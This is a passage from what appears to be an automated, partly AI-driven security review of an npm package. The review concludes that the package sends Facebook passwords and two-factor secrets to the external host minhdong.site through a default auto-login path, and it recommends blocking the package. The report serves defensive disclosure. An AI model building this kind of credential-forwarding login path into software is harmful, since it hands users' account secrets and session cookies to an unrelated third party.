Expired sessions can activate this flow automatically when credentials are present in the package configuration. - **Trigger:** Calling the login API with credentials, or an expired session with configured automatic login. - **Impact:** A third-party server receives the account password and optional two-factor secret, and can return session cookies. - **Evidence paths:** module/config.js, module/loginHelper.js - **Review source:** ai\_review - **Reviewed:** 2026-09-05T05:22:43.467Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Posts Facebook credentials to a package-selected external login service. - **Attack narrative:** The default configuration enables automatic login through minhdong.site. The runtime login helper places the supplied email and password in a POST body for that host; it also adds a configured two-factor secret. When an existing session expires, the helper reads credentials from fca-config.json and calls that same API. This exposes account credentials and can yield reusable session cookies to an unrelated external service. - **Rationale:** The package implements a concrete third-party credential collection path selected by default, including an automatic re-login trigger. The absence of an npm lifecycle hook does not remove the runtime credential-exfiltration behavior. - **Files touched:** fca-config.json - **Network endpoints:** minhdong.site ### Review decision - **Verdict:** Malicious - **Confidence:** 98.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** Default configuration enables automatic login and selects minhdong.site as the login server., The login helper builds a request containing the supplied email and password and posts it to that external server., When a session expires, the automatic login path reads configured credentials and invokes the external API. - **Evidence against:** package.json has no preinstall, install, or postinstall hook., The optional remote WebSocket client is disabled by default and needs a user-provided URL. ## Public findings ### 1.
